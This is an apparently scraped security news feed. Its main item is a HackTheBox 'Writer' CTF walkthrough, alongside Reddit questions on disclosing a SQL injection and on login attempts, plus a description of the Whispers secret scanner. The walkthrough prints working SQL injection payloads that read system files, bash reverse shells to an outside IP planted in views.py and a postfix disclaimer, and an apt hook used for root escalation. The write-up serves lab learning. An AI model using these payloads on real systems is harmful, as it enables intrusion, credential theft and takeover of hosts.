Hacking on Medium
3 Times Bots Have Impacted Major World Events

https://cdn-images-1.medium.com/max/2000/0*SDlc2cvqKpYrwW1q.jpg
From stealing sneakers to pinching PlayStations, bots are increasingly earning a reputation for being nefarious and disruptive — none more…

Continue reading on Netacea »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Top 25 Server-Side Request Forgery (SSRF) Bug Bounty Reports

https://cdn-images-1.medium.com/max/2600/1*YxBRUnHoGIwt6jAHc4-lqw.jpeg
In this article, we will discuss the Server-Side Request Forgery (SSRF) vulnerability, and present 25 disclosed reports based on this flaw.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
WRITING A SIMPLE ROOTKIT FOR LINUX

https://cdn-images-1.medium.com/max/718/1*g7xT7u_a1Dx6M_P7YdTY9Q.png
Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
You Need a Password Manager

Passwords are critical to keeping your accounts secure, but many people do not set up their passwords in the most secure way available. A…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Writer HackTheBox Walkthrough

IntroductionWriter is a CTF Linux box with difficulty rated as “medium” on the HackTheBox platform. The machine covers SQL injection vulnerability and privilege escalation using SMTP. Table of ContentNetwork Scanning

* Nmap

Enumeration

* Directory enumeration to find admin page
* Detecting SQL injection on the login page

Exploitation

* Exploiting UNION based SQLi to get essential information about python based webserver
* Fetching internal files using SQL injection to compromise credentials of a user

Privilege Escalation

* Escalating from www-data to Kyle by cracking hashes in the database
* Escalating from Kyle to John by poisoning postfix/disclaimer file
* Escalating from John to root by exploiting apt-get

Let’s deep dive into this. Network ScanningThe dedicated IP address of the machine is 10.10.91.172. We’ll run a nmap scan on this machine’s IP.
nmap -A 10.129.170.230
Open ports were:

* 22 running SSH
* 80 running a website
* 139 running netbios
* 445 running SMB service

https://blogger.googleusercontent.com/img/a/AVvXsEjwcPoODKo9X2F3lKbKJuyLKwiwtikY4u_AOkFxlNgyPp95g_ZnLom-7FRyDso-xyWgFL29SY1ENS5OAEbQuqrnapq6PEkmnfu2aehE0WHRZq_6L8CIimNGTTKgVdVqD1f2PtSye4QXdZmxCeGzVUq36bN2GgJGRJcHpLhAdo04e0gXDl5HyVYcpKHGKw=s16000 EnumerationThere was a website running on port 80

https://blogger.googleusercontent.com/img/a/AVvXsEhZW6-lh4_yJUs_tqUejXFgkX44sA96_Uia1ueeKf1vW4XGeeCOCrD1Gn-TqgUBVM-DmHbyBuyfJeX_ON_0VM6Wn-W2TnAWMXBRb6XAW0Z-mIAy4dtbXmzU575p30IdzlU8cP4Tx_blsgnTQeN-BQRdoZBJBcN4poXJnA_ie26pFbNELBQmR9olr7RbUw=s16000

So, we enumerated the directories using gobuster and seclists medium wordlist
gobuster dir -w /home/kali/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
We found an interesting directory called administrative

https://blogger.googleusercontent.com/img/a/AVvXsEjuMNqJfpVBFC2x3uC3jlN0s_cftWRjMImp5dqCkmgg5FzjtY_PwLpRHbPPLv6VHX0yXLWy0aMPS-DorNcyqwIOts-WHlUerGLpM88eP-YCEwmzxg1zYM1OlX_ftx7UoCUmBdnTB1u7_vdDyp46fK_qLHLgm8bsPjsTr5k5ZjCCEbpY-EW2OsPOLreTbQ=s16000

This page seemed to be hosting a login panel

https://blogger.googleusercontent.com/img/a/AVvXsEjkD1q4uVHCCSuQvDFSnTPMPVwvDJnU3ELoCR8RCtOApnKUydCTMImcJOXuzJiX4lq7jqfeL0lyvqp1Pb8u0TGu1B6rL3KnBQfJqYADOvtzTdwypgSO34kpBo93nAaKfORYj444OHMT3CaZF5EyYIO3VbqNmXW_sasSMhu9vkvJqi0nodMrsXly595H4g=s16000 ExploitationRight away we tried logging in using SQL injection payload

username: ‘ or 1=1 —
password: ‘ or 1=1 —

And we got logged in!

https://blogger.googleusercontent.com/img/a/AVvXsEjH_DRrcI3ZpXKdUL0krUYdW72Eq82I5aCvu2x3HdXdhz6IvbwxOB0uaKLqtfuRYO9F-XNjuR7x6njl0FjWwy5C2FZVHdH2YzP8kaFCepQmHXBj9LdaBrNdhCAhAizNHpVQhT2VEnVVANuzG39Yh-ZUfhSX-SyJJIiAL8YlWtvQZKLHOviEMegj3D6woA=s16000

However, upon observing the request in Burpsuite repeater and using a UNION based SQLi payload, we observed that the second column in the active table was being reflected in the response
uname=admin' union select 1,2,3,4,5,6 -- &password=admin
https://blogger.googleusercontent.com/img/a/AVvXsEiAV7NQ9lBpTfOjvTZwgfWlcw1U4LJUdSee7wLhPDWAoMvE3XZ4fpPyOP4ZbZi7rzZXb4ZuBlFfpnoIOzxPLQWKWr2ZB0BkxrNj5O9APETz0w7V0NfTTNAQx9oFGl6ue0AIo1zWdx584pD42nuOgUEvTJcBnhuMAoR_WE3y9NPl0d_IQoiLyZTtStyqrw=s16000

We can see the active database’s name by changing the second column by the database() in the payload. As you can see, the active database is “writer”
uname=admin' union select 1,database(),3,4,5,6 -- &password=admin
https://blogger.googleusercontent.com/img/a/AVvXsEiU6cl5ly1H1bBaaP0HoyGFu3GFqoz3DtI72GHi9P8iDp1ag0G6-1igZNyJp99vKdZlY-wEtFsGS1fOxUXS3hpczUy-ZPBqnkChDtoc58mtclrv-krXIKEna-s0gDTlgPFxEgegXEOGylHRg3RigB3FdpWvzexgfdFmU950wVQ4nApaYbl1y1kKaP5tTA=s16000

Similarly, we can read the /etc/passwd file and try to learn what all users exist.
uname=admin' union select[...]

___________________________
@hacking_Attack
@Hacking_Video

1,load_file("/etc/passwd"),3,4,5,6 -- &password=admin
https://blogger.googleusercontent.com/img/a/AVvXsEiAyDpDEVcaXev2FIWhSSxrb6ZULX5txypAqQ2rhCQWnI3RZPxxIU8eN65TnY8NMHUqNnPsx6aHox-VOqYd23zwePKVP35jqjIWY05GlDp5rY8IF1730Fj97XordtHyJxqY1tbllL7V4aEAryqkfSTQbNEP-fI4BrPXMoDcHperohGCl04tRTezsZK2ow=s16000

This gave us an insight into the system. It of course was running Apache webserver so we looked at 000-default.conf file that includes the absolute path of the website. Here, we found a wsgi present which means that a python based webserver (Django or Flask) was running on the webserver.
uname=admin' union select 1,load_file("/etc/apache2/sites-enabled/000-default.conf"),3,4,5,6 -- &password=admin
https://blogger.googleusercontent.com/img/a/AVvXsEiuo-EYZ_zsieHUM9FNmErANzTfDO4Qkx1hxkpP6i31SiWh3zpLNQdlFhqBhjEP_L9CQsQPc3Ufyc7dJN6714DJFlO09eD8gOvIW0Gmch4LqSIE-y3KMVQTPbE1TqkTb2Uwqc6AuMbTDI_pst0ROubLfvWfOyWtKpmEGzQsihvzgwP2LjqyA6o-oSW9bw=s16000

Then we tried to read this wsgi file as it includes functions that are used by the server to communicate with the application. So we read this file and found __init__.py was being imported.

https://blogger.googleusercontent.com/img/a/AVvXsEg2T7W2aOvMmvEgxUj5SFG5R7gazEJaXNZVQq-83Grx5f9RgEaHZtIEVa3qGZys8jEF3I5y-kgKhHGhm-d-3Q_OxEpaJonXPF5-VMTDOoUQlIvHSQBfwnItpl425_mOtayq84ho9p3xQj76TWZBLhzi1g3QbZ5m4QD2PquAha1miY9kbYTZpQkfaSODjw=s16000

So, we decided to read __init__.py file and found a credential!

https://blogger.googleusercontent.com/img/a/AVvXsEjgJlUziMEmq7cbz4yY0N_gfilc0Q6hHyiSFwhwRyAStVyfU7E1U3tx8TW3_wZcv-ljVKy_6590H_qa-IqJtCyHU7XoTMqKkE5oc9oPbufqZHdMW0vqLRbq0J3Z_3KDAPCRbO6PsFqbWqmpqtnnSDc2-D2fTmfvWndBIgdCPs1OVatGgAoAjipRFeuRgA=s16000

From the knowledge of /etc/passwd that we dumped earlier, we know there exists a finite number of users on the system. Out of those, Kyle seemed to react to this password when we connected to the SMB share. When we logged on to the share we saw the Python server’s files on there. One such file on Django or Flask is the “views.py” file. Views hold the logic that is required to return information as a response in whatever form to the user. This logic is held in the file “views.py”
smbmap -H 10.129.170.230 -u "kyle" -p "ToughPasswordToCrack"
smbclient //10.129.170.230/writer2_project -U 'kyle%ToughPasswordToCrack'
cd writer_web
get views.py
https://blogger.googleusercontent.com/img/a/AVvXsEiLNZ2KoP621-LYKBscYWircW9uAs3gq2AYY1V5S0JH5_MML_aSrWe1zCNpDIQp8hESp4ajefacrvaophZTEiA0yHjiixufGmG1xmPFAZvYJGzIoSwYumFtyDxqLI8p7WnxxOgrzoo-O2NR7gB8NA6My2pC7eGO4XqVNwmmXFNwrSGP13-etvUHGB1N5w=s16000

Logically, whatever is in views.py should be rendered by the website. Hence, if we add a simply python one-liner, it would be rendered by the website too. That’s precisely what we did. We added the following code in views.py
import os
os.system('bash -c "bash -i >& /dev/tcp/10.10.14.104/1234 0>&1"')
https://blogger.googleusercontent.com/img/a/AVvXsEiqoTz-nxKnLTm5okqOMeVDFMKwZ49jbbsbdpwQEVTIkvbP37pZKVwIwtjHlkMmrMiK8038JsLGqbVGYja70DHhauAkU_FgWuXgmXGgJeN6qWiKzxyzNvUsagxqFDxg6dTfuysZhn1gxW4n3p62aGS1GbhYnIm_b3inoaKJLYQcz7vvRZnM6D0PKakt6w=s16000

Thereafter, we replaced this views.py with the original one using put command in the SMB share

https://blogger.googleusercontent.com/img/a/AVvXsEh0_VLcenClOlfAu8uLake4mMOZKnmVfsfHKIW8B8pKevzk0p2mfIU8a1fpePhIHY6AC7t35FcCNHK-FzdbWKdTtgHH-UrsNZm-CuXtyTuYh1B_Zz7PftRazpcdPRtGMhiimJCdG_ErO6bhj6nqnU-m8ouRmbSjQORLU9JJewLCGWinZ1oiZ5hhHDLstQ=s16000

We set up a listener side by side and gave the website a refresh. We had received a reverse shell! Post ExploitationThe manage.py file in Django is used to communicate with a website’s files and perform functions such as run a server and migrating changes. However, dbshell command is used to communicate with the website’s database. So after a bit of exploring we found a hashed credential in the auth_user table.
python3 manage.py dbshell
show tables;
[...]

___________________________
@hacking_Attack
@Hacking_Video

select * from auth_user;
https://blogger.googleusercontent.com/img/a/AVvXsEiso-v7dWgQtmqMM7EEckAJZqHkukPP2Z2qVmPRgC3yRi95P_SR6sDg4dJmFRHxDnfJSi4QGz2uMtUSvamo3o1yHKXvs1e_ZtyNNMCb1BB266wzZZMf4nad79RM-KWEYN4H3xxcQmPlgas80XSeUVrFXcMWd73eUq_JNZVeiP1pGa2ov2kPhQ9WFud_NQ=s16000

We took this cred and ran it with hashcat using rockyou.txt wordlist
hashcat -m 10000 hash rockyou.txt
https://blogger.googleusercontent.com/img/a/AVvXsEhiLXTQSXcgl0zpDJhjlqU8v1-d8_jU_eTPnptq71mfht79bTrETtEHGxelXQjLAuIGVIVcJHrMqi9R1cTOgSap8jruwEZtjdCyPZX02tVcHqm2QER89t01XaVegKyeGXfc1uJL3HOABr0jSAbYXPdLJainKNRcZ4LbsbOidmceBZb6cN90LEq9WuPM-A=s16000

The password came out to be: marcoantonio

https://blogger.googleusercontent.com/img/a/AVvXsEh77-2_K1eN7xonssoj6IgIIRmeOEkbOgFe-q2ta5JuZradaXYGC6Ih2n2ew5qpEr8hAZQILtMyHrT-xC2YLHUy9gMG42zddPDM6zK8MOs9klp6jA0xvT6U80d4ha-uSNB8nNIyPs9BistgHdDB45IOlsfBIF2zgYmuG0F3ZbGMgD_JIhOGc2JJvS-9vA=s16000

I SSHed into Kyle using this password and also observed that Kyle is a part of filter group.

https://blogger.googleusercontent.com/img/a/AVvXsEiGPC_s6uue_zuHBgATgAjsZKbSMOK3L0B7dpTYSPLm_XJBp6Km4unxKaSMbMOGDTByFeh2xSqH3o7QfMFCfGArAA7uHuOFChz7rnzVms0ydk3sR19qBT5-gfV7Xd051psab1nH3ZyLpz7-KhjDFnRg_4SCv78_35P7X5OpZHOBbOFieJb7F3P16amRtg=s16000

Now, we listed all the files that belonged to this filter group and noted /etc/postfix/disclaimer file which is intended to automatically add a disclaimer at the end of an e-mail.
find / -group filter 2>/dev/null
https://blogger.googleusercontent.com/img/a/AVvXsEgoG6xZqedvffARJwAj_Wc45pGGiWDFRQj0sZmlfH5UdvulIGuEUKkY0vG6Ig8kks5axeVMG129m4Py8kCU9vPu6lmFFi7d5X-jd02T0SJ-6ly6IEfcDBKkl9kZF0tvFPfP-wB6iIReWehXE-svkgtQ-Wkpmcj4XHfITMNHlCSL_t2xRwN9-75hwHjTFg=s16000

Now, since this disclaimer would be automatically added to every e-mail, we can overwrite this file with our reverse bash code and send a simple testing e-mail to john using netcat. The following payload does the said thing.
echo "bash -c 'bash -i &>/dev/tcp/10.10.14.104/5555 0>&1'" > /etc/postfix/disclaimer && echo -e "HELO writer.htb\nMail From:kyle@writer.htb\nRCPT To: john@writer.htb\nData\nTo: john@writer.htb\nFrom: kyle@writer.htb\nSubject: Testing\nTesting\n." | nc localhost 25
https://blogger.googleusercontent.com/img/a/AVvXsEjMMaZjzX0qbhvhAsS9CNYlaW5zpKoKeM2ULUHTICgGDyu0CsrxLWl0ilmwZ0hcsAJz-8ZM3-PVmsFVOLpCN7-tyiWPq8YPDVrybxArz00A13U6ogUCzKonKMqhg2DGk3-CqVREDwPzcXZimxlm8rNN0aJFOngkTkqyv_TwRRVLarodGB-mCpQ-EKvllQ=s16000

And on our listener set up on port 5555, we see user john’s shell! We just wanted to get a more stable shell so we copied the private SSH key.

https://blogger.googleusercontent.com/img/a/AVvXsEilYM5UYtNGV60X0YafkpYlpml5Nc3gv10zws5-8oppAReyokTKqf_uzc6EL2zfijDTmxROQGzpXd0LFugPZ71XRX9tH6-_fIuZ0B75TP3yjjXe6pQjqd_t6U7pnL7gVoEjnsL228K2oUceILaFzj326SKrvCS1yEMSPRGaZeN5BRHmhb4Zuls9O3Blng=s16000

Changed the permissions to 0600 and SSHed into the john. We observed that john was part of a group called management. We look at what other files are a part of this group. We saw a directory apt.conf.d which is a part of management. What’s more, is that this is owned by root and belongs to the apt-get package manager!
chmod 600 key
ssh -i key john@10.129.170.230
id
find / -group management 2>/dev/null
ls -la /etc/apt
https://blogger.googleusercontent.com/img/a/AVvXsEg7xEH-y6JRgr8ayapkhzDP4etXTljKn2z5md3MCWn2mbFQQ6Me79UJVYkt1oTxGarVEwiTfzys3FyszgvhYWGjKPdi3xM-2eC_KJNQY_kVM62LmCDwhRzB_fyq-fqjfo4ltbQPIi_FO3buOPHzNrtgpM4Anj8E_3RMl39r1SAL1oy6JLz8RoCUtBHitQ=s16000

Upon inspecting a bit more, we found that apt-get was running as a cron job. Hence, we will follow our article here and use apt-get to escalate ourselves to root. The payload that we are using inside Pre-Invoke is this: /bin/bash -c chmod 4777 /bin/bash

However, we have encoded it in base64 as it wasn’t working in cleartext.
echo 'apt::Update::Pre-Invoke {"echo L2Jpbi9iYXNoIC1jICJjaG1vZCA0Nzc3IC9iaW4vYmFzaCIK | base64 -d | ba[...]

___________________________
@hacking_Attack
@Hacking_Video

sh"};' > /etc/apt/apt.conf.d/000-shell
ls -la /bin/bash
You can see that bash has a SUID bit set now! We’ll just launch it using -p option now and read the congratulatory flag as we are now root!
/bin/bash -p
https://blogger.googleusercontent.com/img/a/AVvXsEj9tRr8q_bS_gk5HFIcKJtJgDHAN16ZGzONAwQyr7RFr95dtZ4iqNzDwNLqgZT7lhMmzhuGqxIlTfbBAXE9aCgufdOAVAsU25_k0PpxbS2VKtghMpIsy1b-9C6Iwc9p6eulPCQ1EequVPDIjZ2cfAYhlugYtGXi96chWsTVu4PH8nMhKUPPmTKVGq1X5w=s16000

Hence, this is how we rooted the box writer. Hope you enjoyed our approach. Thanks for reading!

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post Writer HackTheBox Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
I'm aware of a SQLi vulnerability and I know that the database stores passwords and credit cards in plain text. What do I do? Need opinions here

I won't go into too many details for obvious reasons, but I'm aware of a system that allows business to take orders and payments online. The vendor/developer of that system I tried to make aware of the vulnerability. I had a phone call with them, I assured them I didn't want a penny from them, just wanted to help and would happily talk them through how to fix it free of charge etc. etc.

Strangely, his response are "where are you from?", I told him where I lived and he said "ahh, that makes sense then" and hung up. Pretty odd ending, but I'm taking from that they're not interested.

I'd leave it there, BUT - one of the businesses using this software is a lovely little family-ran business, local to my area - and (although I wouldn't attempt to check because of the Computer Misuse Act), I would bet my money on this local business collecting many, many local people's details, all in plain text.

I feel like in normal circumstances I would leave this, but I feel like I want to help this local family business. I have no interest whatsoever in the commercials of the people behind the system if they won't listen to me.

The problem is the local business don't know their way around technology, so I might look weird approaching them with "there's a vulnerabilty in one of the systems your use, you should talk to the admin".

TLDR Question: What do you do when you know a vulnerability that could crush a small business but the people behind the vulnerable software aren't interested?

submitted by /u/DimensionRoyal4229
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
tools for decrypting

hello I'm searching for a free tool that can decrypt many different files with support for kali linux. So do you have any recommendations

submitted by /u/brendanvds2007
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Someone keeps trying to log into my accounts

I keep getting notifications that someone is trying to log into my account and that I need to change my password on twitter and now someone has tried logging into my Etsy account as well. It’s from different locations too. Has my info been leaked or something? What can I do?

submitted by /u/Nar8
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Preparing For the Next Cybersecurity Epidemic: Deepfakes

Using blockchain, multifactor authentication, or signatures can help boost authentication security and reduce fraud.

Live Bug Bounty Training With My Strategy and Let’s hit easily Bounties Together in this year

Hello Cybersecurity Researchers, Again I’m here after a lot of texts received on my LinkedIn and Instagram that when I launch my Live Bug…Continue reading on Medium »
Read more...

Live Bug Bounty Training With My Strategy and Let’s hit easily Bounties Together in this year
https://medium.com/@gandhim373/live-bug-bounty-training-with-my-strategy-and-lets-hit-easily-bounties-together-in-this-year-9a438a6356d1?source=rss------bug_bounty-5

Hello Cybersecurity Researchers, Again I’m here after a lot of texts received on my LinkedIn and Instagram that when I launch my Live Bug…Continue reading on Medium » (https://medium.com/@gandhim373/live-bug-bounty-training-with-my-strategy-and-lets-hit-easily-bounties-together-in-this-year-9a438a6356d1?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Whispers : Identify Hardcoded Secrets In Static Structured Text

Whispers is a static code analysis tool designed for parsing various common data formats in search of hardcoded credentials and dangerous functions. Whispers can run in the CLI or you can integrate it in your CI/CD pipeline. Detects

* Passwords
* API tokens
* AWS keys
* Private keys
* Hashed credentials
* Authentication tokens
* Dangerous functions
* Sensitive files Supported Formats

Whispers is intended to be a structured text parser, not a code parser.

The following commonly used formats are currently supported:

* YAML
* JSON
* XML
* .npmrc
* .pypirc
* .htpasswd
* .properties
* pip.conf
* conf / ini
* Dockerfile
* Dockercfg
* Shell scripts
* Python3

Python3 files are parsed as ASTs because of native language support. Declaration & Assignment Formats

The following language files are parsed as text, and checked for common variable declaration and assignment patterns:

* JavaScript
* Java
* Go
* PHP Special Formats

* AWS credentials files
* JDBC connection strings
* Jenkins config files
* SpringFramework Beans config files
* Java Properties files
* Dockercfg private registry auth files
* Github tokens Installation From PyPI

pip3 install whispers

From GitHub

git clone https://github.com/Skyscanner/whispers
cd whispers
make install

Usage CLI

whispers –help
whispers –info
whispers source/code/fileOrDir
whispers –config config.yml source/code/fileOrDir
whispers –output /tmp/secrets.yml source/code/fileOrDir
whispers –rules aws-id,aws-secret source/code/fileOrDir
whispers –severity BLOCKER,CRITICAL source/code/fileOrDir
whispers –exitcode 7 source/code/fileOrDir

Python

from whispers.cli import parse_args
from whispers.core import run
src = “tests/fixtures”
configfile = “whispers/config.yml”
args = parse_args([“-c”, configfile, src])
for secret in run(args):
print(secret)

Config

There are several configuration options available in Whispers. It’s possible to include/exclude results based on file path, key, or value. File path specifications are interpreted as globs. Keys and values accept regular expressions and several other parameters. There is a default configuration file built-in that will be used if you don’t provide a custom one. config.ymlshould have the following structure:

include:
files:
– “/.yml” exclude: files: – “/test//” – “/tests/*/“
keys:
– ^foo
values:
– bar$
rules:
starks:
message: Whispers from the North
severity: CRITICAL
value:
regex: (Aria|Ned) Stark
ignorecase: True

The fastest way to tweak detection (ie: remove false positives and unwanted results) is to copy the default config.yml into a new file, adapt it, and pass it as an argument to Whispers. whispers --config config.yml --rules starks src/file/or/dirCustom Rules

Rules specify the actual things that should be pulled out from key-value pairs. There are several common ones that come built-in, such as AWS keys and passwords, but the tool is made to be easily expandable with new rules.

* Custom rules can be defined in the main config file under rules:* Custom rules can be added to whispers/rules

rule-id: # unique rule name
description: Values formatted like AWS Session Token
message: AWS Session Token # report will show this message
severity: BLOCKER # one of BLOCKER, CRITICAL, MAJOR, MINOR, INFO
key: # specify key format
regex: (aws.?session.?token)?
ignorecase: True # case-insensitive matching
value: # specify value format
regex: ^(?=.[a-z])(?=.[A-Z])[A-Za-z0-9+\/]{270,450}$
ignorecase: False # case-sensitive matching
minlen: 270 # value is at least this long
isBase64: True # value is base64-encoded
isAscii: False # value is binary data when decoded
isUri: False # value is not formatted like a URI
similar: 0.35 # maximum allowe[...]

___________________________
@hacking_Attack
@Hacking_Video